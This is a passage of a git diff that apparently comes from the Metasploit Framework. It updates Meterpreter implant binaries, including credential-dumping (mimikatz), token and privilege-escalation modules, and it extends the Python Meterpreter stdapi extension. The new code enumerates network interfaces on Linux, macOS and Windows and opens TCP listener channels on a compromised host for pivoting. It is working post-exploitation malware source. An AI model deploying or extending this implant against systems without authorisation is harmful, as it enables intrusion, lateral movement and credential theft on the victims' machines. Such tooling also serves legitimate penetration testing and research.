(xmlHttp.overrideMimeType) { xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); } - xmlHttp.open('POST', path, false); + xmlHttp.open('POST', path, !!cb); + + if (cb) { + xmlHttp.onreadystatechange = function() { + if (xmlHttp.readyState == 4) { cb.apply(this, arguments); } + }; + } + xmlHttp.send(data); -} \ No newline at end of file + return xmlHttp; +} diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib index 75b5eb755b..dc6eda3974 100755 Binary files a/data/meterpreter/common.lib and b/data/meterpreter/common.lib differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index 6122e0d4ec..5704ed065d 100755 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll index 4b377f7577..5162e25b34 100755 Binary files a/data/meterpreter/elevator.x86.dll and b/data/meterpreter/elevator.x86.dll differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 36bd78ef87..c3297a20ac 100755 Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll index 8608ac3cb5..9f4938354a 100755 Binary files a/data/meterpreter/ext_server_espia.x86.dll and b/data/meterpreter/ext_server_espia.x86.dll differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll index aec85861ae..485311ec94 100755 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and b/data/meterpreter/ext_server_extapi.x64.dll differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll index 0923879915..985a510475 100755 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and b/data/meterpreter/ext_server_extapi.x86.dll differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 777f6c3682..faed750330 100755 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll index 7369f7621a..98198341b3 100755 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and b/data/meterpreter/ext_server_incognito.x86.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 4042a413f1..294ef2261a 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll index 372df0a5fa..ef92743241 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and b/data/meterpreter/ext_server_lanattacks.x86.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 09ec5e887b..2d10147d47 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll index d0c6b54447..88df3a70e3 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and b/data/meterpreter/ext_server_mimikatz.x86.dll differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index e6629bb4a8..fef0426930 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index cbdbd29fab..f13693d08b 100755 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll index 7471006016..0e61427ac4 100755 Binary files a/data/meterpreter/ext_server_priv.x86.dll and b/data/meterpreter/ext_server_priv.x86.dll differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 4130ece196..a172634dd1 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 5008d8d9d6..75b7a50a32 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index d64f9085a7..1b88ab0fcc 100755 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 4ff3fbdcc1..e9e73d42db 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b6bdccd483..ae9cab6cb8 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,4 +1,3 @@ -import ctypes import fnmatch import getpass import os @@ -9,8 +8,15 @@ import socket import struct import subprocess import sys +import time -has_windll = hasattr(ctypes, 'windll') +try: + import ctypes + has_ctypes = True + has_windll = hasattr(ctypes, 'windll') +except ImportError: + has_ctypes = False + has_windll = False try: import pty @@ -24,6 +30,12 @@ try: except ImportError: has_pwd = False +try: + import SystemConfiguration as osxsc + has_osxsc = True +except ImportError: + has_osxsc = False + try: import termios has_termios = True @@ -36,52 +48,197 @@ try: except ImportError: has_winreg = False -class PROCESSENTRY32(ctypes.Structure): - _fields_ = [("dwSize", ctypes.c_uint32), - ("cntUsage", ctypes.c_uint32), - ("th32ProcessID", ctypes.c_uint32), - ("th32DefaultHeapID", ctypes.c_void_p), - ("th32ModuleID", ctypes.c_uint32), - ("cntThreads", ctypes.c_uint32), - ("th32ParentProcessID", ctypes.c_uint32), - ("thPriClassBase", ctypes.c_int32), - ("dwFlags", ctypes.c_uint32), - ("szExeFile", (ctypes.c_char * 260))] +if has_ctypes: + # + # Windows Structures + # + class SOCKADDR(ctypes.Structure): + _fields_ = [("sa_family", ctypes.c_ushort), + ("sa_data", (ctypes.c_uint8 * 14))] -class SYSTEM_INFO(ctypes.Structure): - _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), - ("wReserved", ctypes.c_uint16), - ("dwPageSize", ctypes.c_uint32), - ("lpMinimumApplicationAddress", ctypes.c_void_p), - ("lpMaximumApplicationAddress", ctypes.c_void_p), - ("dwActiveProcessorMask", ctypes.c_uint32), - ("dwNumberOfProcessors", ctypes.c_uint32), - ("dwProcessorType", ctypes.c_uint32), - ("dwAllocationGranularity", ctypes.c_uint32), - ("wProcessorLevel", ctypes.c_uint16), - ("wProcessorRevision", ctypes.c_uint16),] + class SOCKET_ADDRESS(ctypes.Structure): + _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), + ("iSockaddrLength", ctypes.c_int)] -class SID_AND_ATTRIBUTES(ctypes.Structure): - _fields_ = [("Sid", ctypes.c_void_p), - ("Attributes", ctypes.c_uint32),] + class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): + _fields_ = [ + ("s", type( + '_s_IP_ADAPTER_UNICAST_ADDRESS', + (ctypes.Structure,), + dict(_fields_ = [ + ("Length", ctypes.c_ulong), + ("Flags", ctypes.c_uint32) + ]) + )), + ("Next", ctypes.c_void_p), + ("Address", SOCKET_ADDRESS), + ("PrefixOrigin", ctypes.c_uint32), + ("SuffixOrigin", ctypes.c_uint32), + ("DadState", ctypes.c_uint32), + ("ValidLifetime", ctypes.c_ulong), + ("PreferredLifetime", ctypes.c_ulong), + ("LeaseLifetime", ctypes.c_ulong), + ("OnLinkPrefixLength", ctypes.c_uint8)] -## -# STDAPI -## + class IP_ADAPTER_ADDRESSES(ctypes.Structure): + _fields_ = [ + ("u", type( + '_u_IP_ADAPTER_ADDRESSES', + (ctypes.Union,), + dict(_fields_ = [ + ("Alignment", ctypes.c_ulonglong), + ("s", type( + '_s_IP_ADAPTER_ADDRESSES', + (ctypes.Structure,), + dict(_fields_ = [ + ("Length", ctypes.c_ulong), + ("IfIndex", ctypes.c_uint32) + ]) + )) + ]) + )), + ("Next", ctypes.c_void_p), + ("AdapterName", ctypes.c_char_p), + ("FirstUnicastAddress", ctypes.c_void_p), + ("FirstAnycastAddress", ctypes.c_void_p), + ("FirstMulticastAddress", ctypes.c_void_p), + ("FirstDnsServerAddress", ctypes.c_void_p), + ("DnsSuffix", ctypes.c_wchar_p), + ("Description", ctypes.c_wchar_p), + ("FriendlyName", ctypes.c_wchar_p), + ("PhysicalAddress", (ctypes.c_uint8 * 8)), + ("PhysicalAddressLength", ctypes.c_uint32), + ("Flags", ctypes.c_uint32), + ("Mtu", ctypes.c_uint32), + ("IfType", ctypes.c_uint32), + ("OperStatus", ctypes.c_uint32), + ("Ipv6IfIndex", ctypes.c_uint32), + ("ZoneIndices", (ctypes.c_uint32 * 16)), + ("FirstPrefix", ctypes.c_void_p), + ("TransmitLinkSpeed", ctypes.c_uint64), + ("ReceiveLinkSpeed", ctypes.c_uint64), + ("FirstWinsServerAddress", ctypes.c_void_p), + ("FirstGatewayAddress", ctypes.c_void_p), + ("Ipv4Metric", ctypes.c_ulong), + ("Ipv6Metric", ctypes.c_ulong), + ("Luid", ctypes.c_uint64), + ("Dhcpv4Server", SOCKET_ADDRESS), + ("CompartmentId", ctypes.c_uint32), + ("NetworkGuid", (ctypes.c_uint8 * 16)), + ("ConnectionType", ctypes.c_uint32), + ("TunnelType", ctypes.c_uint32), + ("Dhcpv6Server", SOCKET_ADDRESS), + ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), + ("Dhcpv6ClientDuidLength", ctypes.c_ulong), + ("Dhcpv6Iaid", ctypes.c_ulong), + ("FirstDnsSuffix", ctypes.c_void_p)] + + class MIB_IFROW(ctypes.Structure): + _fields_ = [("wszName", (ctypes.c_wchar * 256)), + ("dwIndex", ctypes.c_uint32), + ("dwType", ctypes.c_uint32), + ("dwMtu", ctypes.c_uint32), + ("dwSpeed", ctypes.c_uint32), + ("dwPhysAddrLen", ctypes.c_uint32), + ("bPhysAddr", (ctypes.c_uint8 * 8)), + ("dwAdminStatus", ctypes.c_uint32), + ("dwOperStaus", ctypes.c_uint32), + ("dwLastChange", ctypes.c_uint32), + ("dwInOctets", ctypes.c_uint32), + ("dwInUcastPkts", ctypes.c_uint32), + ("dwInNUcastPkts", ctypes.c_uint32), + ("dwInDiscards", ctypes.c_uint32), + ("dwInErrors", ctypes.c_uint32), + ("dwInUnknownProtos", ctypes.c_uint32), + ("dwOutOctets", ctypes.c_uint32), + ("dwOutUcastPkts", ctypes.c_uint32), + ("dwOutNUcastPkts", ctypes.c_uint32), + ("dwOutDiscards", ctypes.c_uint32), + ("dwOutErrors", ctypes.c_uint32), + ("dwOutQLen", ctypes.c_uint32), + ("dwDescrLen", ctypes.c_uint32), + ("bDescr", (ctypes.c_char * 256))] + + class MIB_IPADDRROW(ctypes.Structure): + _fields_ = [("dwAddr", ctypes.c_uint32), + ("dwIndex", ctypes.c_uint32), + ("dwMask", ctypes.c_uint32), + ("dwBCastAddr", ctypes.c_uint32), + ("dwReasmSize", ctypes.c_uint32), + ("unused1", ctypes.c_uint16), + ("wType", ctypes.c_uint16)] + + class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + + class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32)] + + class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16)] + + # + # Linux Structures + # + class IFADDRMSG(ctypes.Structure): + _fields_ = [("family", ctypes.c_uint8), + ("prefixlen", ctypes.c_uint8), + ("flags", ctypes.c_uint8), + ("scope", ctypes.c_uint8), + ("index", ctypes.c_int32)] + + class IFINFOMSG(ctypes.Structure): + _fields_ = [("family", ctypes.c_uint8), + ("pad", ctypes.c_int8), + ("type", ctypes.c_uint16), + ("index", ctypes.c_int32), + ("flags", ctypes.c_uint32), + ("chagen", ctypes.c_uint32)] + + class NLMSGHDR(ctypes.Structure): + _fields_ = [("len", ctypes.c_uint32), + ("type", ctypes.c_uint16), + ("flags", ctypes.c_uint16), + ("seq", ctypes.c_uint32), + ("pid", ctypes.c_uint32)] + + class RTATTR(ctypes.Structure): + _fields_ = [("len", ctypes.c_uint16), + ("type", ctypes.c_uint16)] # # TLV Meta Types # -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV Specific Types @@ -135,16 +292,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 ## TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 +TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 +TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 +TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 +TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 +TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 @@ -290,9 +452,39 @@ ERROR_FAILURE = 1 # errors. ERROR_CONNECTION_ERROR = 10000 +# Windows Constants +GAA_FLAG_SKIP_ANYCAST = 0x0002 +GAA_FLAG_SKIP_MULTICAST = 0x0004 +GAA_FLAG_INCLUDE_PREFIX = 0x0010 +GAA_FLAG_SKIP_DNS_SERVER = 0x0080 + WIN_AF_INET = 2 WIN_AF_INET6 = 23 +# Linux Constants +RTM_GETLINK = 18 +RTM_GETADDR = 22 +RTM_GETROUTE = 26 + +IFLA_ADDRESS = 1 +IFLA_BROADCAST = 2 +IFLA_IFNAME = 3 +IFLA_MTU = 4 + +IFA_ADDRESS = 1 +IFA_LABEL = 3 + +def calculate_32bit_netmask(bits): + if bits == 32: + return 0xffffffff + return ((0xffffffff << (32-(bits%32))) & 0xffffffff) + +def cstruct_unpack(structure, raw_data): + if not isinstance(structure, ctypes.Structure): + structure = structure() + ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) + return structure + def get_stat_buffer(path): si = os.stat(path) rdev = 0 @@ -310,20 +502,30 @@ def get_stat_buffer(path): st_buf += struct.pack('> 8) + dwBuild = ((dwVersion & 0xffff0000) >> 16) + return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) + @meterpreter.register_function -def channel_create_stdapi_fs_file(request, response): +def channel_open_stdapi_fs_file(request, response): fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) if fmode: @@ -353,7 +564,7 @@ def channel_create_stdapi_fs_file(request, response): return ERROR_SUCCESS, response @meterpreter.register_function -def channel_create_stdapi_net_tcp_client(request, response): +def channel_open_stdapi_net_tcp_client(request, response): host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) @@ -373,7 +584,19 @@ def channel_create_stdapi_net_tcp_client(request, response): pass if not connected: return ERROR_CONNECTION_ERROR, response - channel_id = meterpreter.add_channel(sock) + channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) + response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + return ERROR_SUCCESS, response + +@meterpreter.register_function +def channel_open_stdapi_net_tcp_server(request, response): + local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') + local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] + server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_sock.bind((local_host, local_port)) + server_sock.listen(socket.SOMAXCONN) + channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -675,12 +898,12 @@ def stdapi_fs_ls(request, response): @meterpreter.register_function def stdapi_fs_md5(request, response): - if sys.version_info[0] == 2 and sys.version_info[1] < 5: - import md5 - m = md5.new() - else: + try: import hashlib m = hashlib.md5() + except ImportError: + import md5 + m = md5.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) @@ -722,12 +945,12 @@ def stdapi_fs_separator(request, response): @meterpreter.register_function def stdapi_fs_sha1(request, response): - if sys.version_info[0] == 2 and sys.version_info[1] < 5: - import sha1 - m = sha1.new() - else: + try: import hashlib m = hashlib.sha1() + except ImportError: + import sha + m = sha.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) @@ -740,6 +963,235 @@ def stdapi_fs_stat(request, response): response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_net_config_get_interfaces(request, response): + if hasattr(socket, 'AF_NETLINK'): + interfaces = stdapi_net_config_get_interfaces_via_netlink() + elif has_osxsc: + interfaces = stdapi_net_config_get_interfaces_via_osxsc() + elif has_windll: + interfaces = stdapi_net_config_get_interfaces_via_windll() + else: + return ERROR_FAILURE, response + for iface_info in interfaces: + iface_tlv = '' + iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) + iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) + if 'mtu' in iface_info: + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) + if 'flags' in iface_info: + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) + for address in iface_info.get('addrs', []): + iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) + if isinstance(address[2], (int, long)): + iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) + else: + iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) + response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) + return ERROR_SUCCESS, response + +def stdapi_net_config_get_interfaces_via_netlink(): + rta_align = lambda l: l+3 & ~3 + iface_flags = { + 0x0001: 'UP', + 0x0002: 'BROADCAST', + 0x0008: 'LOOPBACK', + 0x0010: 'POINTTOPOINT', + 0x0040: 'RUNNING', + 0x0100: 'PROMISC', + 0x1000: 'MULTICAST' + } + iface_flags_sorted = iface_flags.keys() + # Dictionaries don't maintain order + iface_flags_sorted.sort() + interfaces = {} + + responses = netlink_request(RTM_GETLINK) + for res_data in responses: + iface = cstruct_unpack(IFINFOMSG, res_data) + iface_info = {'index':iface.index} + flags = [] + for flag in iface_flags_sorted: + if (iface.flags & flag): + flags.append(iface_flags[flag]) + iface_info['flags'] = ' '.join(flags) + cursor = ctypes.sizeof(IFINFOMSG) + while cursor < len(res_data): + attribute = cstruct_unpack(RTATTR, res_data[cursor:]) + at_len = attribute.len + attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] + cursor += rta_align(at_len) + + if attribute.type == IFLA_ADDRESS: + iface_info['hw_addr'] = attr_data + elif attribute.type == IFLA_IFNAME: + iface_info['name'] = attr_data + elif attribute.type == IFLA_MTU: + iface_info['mtu'] = struct.unpack('= 96: + netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits)) + elif nm_bits >= 64: + netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0) + elif nm_bits >= 32: + netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0) + else: + netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0) + addr_list = iface_info.get('addrs', []) + addr_list.append((iface.family, attr_data, netmask)) + iface_info['addrs'] = addr_list + elif attribute.type == IFA_LABEL: + iface_info['name'] = attr_data + interfaces[iface.index] = iface_info + return interfaces.values() + +def stdapi_net_config_get_interfaces_via_osxsc(): + ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None) + entities = [] + entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4)) + entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6)) + patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks) + values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns) + interfaces = {} + for key, value in values.items(): + iface_name = key.split('/')[3] + iface_info = interfaces.get(iface_name, {}) + iface_info['name'] = str(iface_name) + if key.endswith('IPv4'): + family = socket.AF_INET + elif key.endswith('IPv6'): + family = socket.AF_INET6 + else: + continue + iface_addresses = iface_info.get('addrs', []) + for idx in range(len(value['Addresses'])): + if family == socket.AF_INET: + iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx]))) + else: + iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx])) + iface_info['addrs'] = iface_addresses + interfaces[iface_name] = iface_info + for iface_ref in osxsc.SCNetworkInterfaceCopyAll(): + iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref) + if not iface_name in interfaces: + iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref) + if not iface_type in ['Ethernet', 'IEEE80211']: + continue + interfaces[iface_name] = {'name': str(iface_name)} + iface_info = interfaces[iface_name] + mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1] + iface_info['mtu'] = mtu + hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref) + if hw_addr: + hw_addr = hw_addr.replace(':', '') + hw_addr = hw_addr.decode('hex') + iface_info['hw_addr'] = hw_addr + ifnames = interfaces.keys() + ifnames.sort() + for iface_name, iface_info in interfaces.items(): + iface_info['index'] = ifnames.index(iface_name) + return interfaces.values() + +def stdapi_net_config_get_interfaces_via_windll(): + iphlpapi = ctypes.windll.iphlpapi + if not hasattr(iphlpapi, 'GetAdaptersAddresses'): + return stdapi_net_config_get_interfaces_via_windll_mib() + Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) + AdapterAddresses = ctypes.c_void_p() + SizePointer = ctypes.c_ulong() + SizePointer.value = 0 + iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) + AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() + iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) + AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) + AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) + if AdapterAddresses.u.s.Length <= 72: + return stdapi_net_config_get_interfaces_via_windll_mib() + win_version = windll_GetVersion() + interfaces = [] + pAdapterAddresses = ctypes.byref(AdapterAddresses) + while pAdapterAddresses: + AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) + pAdapterAddresses = AdapterAddresses.Next + pFirstPrefix = AdapterAddresses.FirstPrefix + iface_info = {} + iface_info['index'] = AdapterAddresses.u.s.IfIndex + if AdapterAddresses.PhysicalAddressLength: + iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) + iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description)) + iface_info['mtu'] = AdapterAddresses.Mtu + pUniAddr = AdapterAddresses.FirstUnicastAddress + while pUniAddr: + UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) + pUniAddr = UniAddr.Next + address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) + if not address.sa_family in (socket.AF_INET, socket.AF_INET6): + continue + prefix = 0 + if win_version.dwMajorVersion >= 6: + prefix = UniAddr.OnLinkPrefixLength + elif pFirstPrefix: + ip_adapter_prefix = 'QPPIL' + prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) + prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] + iface_addresses = iface_info.get('addrs', []) + if address.sa_family == socket.AF_INET: + iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) + else: + iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) + iface_info['addrs'] = iface_addresses + interfaces.append(iface_info) + return interfaces + +def stdapi_net_config_get_interfaces_via_windll_mib(): + iphlpapi = ctypes.windll.iphlpapi + table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))() + pdwSize = ctypes.c_ulong() + pdwSize.value = ctypes.sizeof(table) + if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0): + return None + interfaces = [] + table_data = ctypes.string_at(table, pdwSize.value) + entries = struct.unpack('I', table_data[:4])[0] + table_data = table_data[4:] + for i in xrange(entries): + addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) + ifrow = MIB_IFROW() + ifrow.dwIndex = addrrow.dwIndex + if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0: + continue + iface_info = {} + table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):] + iface_info['index'] = addrrow.dwIndex + iface_info['addrs'] = [(socket.AF_INET, struct.pack('II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] return data +#@export +class MeterpreterSocket(object): + def __init__(self, sock): + self.sock = sock + + def __getattr__(self, name): + return getattr(self.sock, name) +export(MeterpreterSocket) + +#@export +class MeterpreterSocketClient(MeterpreterSocket): + pass +export(MeterpreterSocketClient) + +#@export +class MeterpreterSocketServer(MeterpreterSocket): + pass +export(MeterpreterSocketServer) + class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): 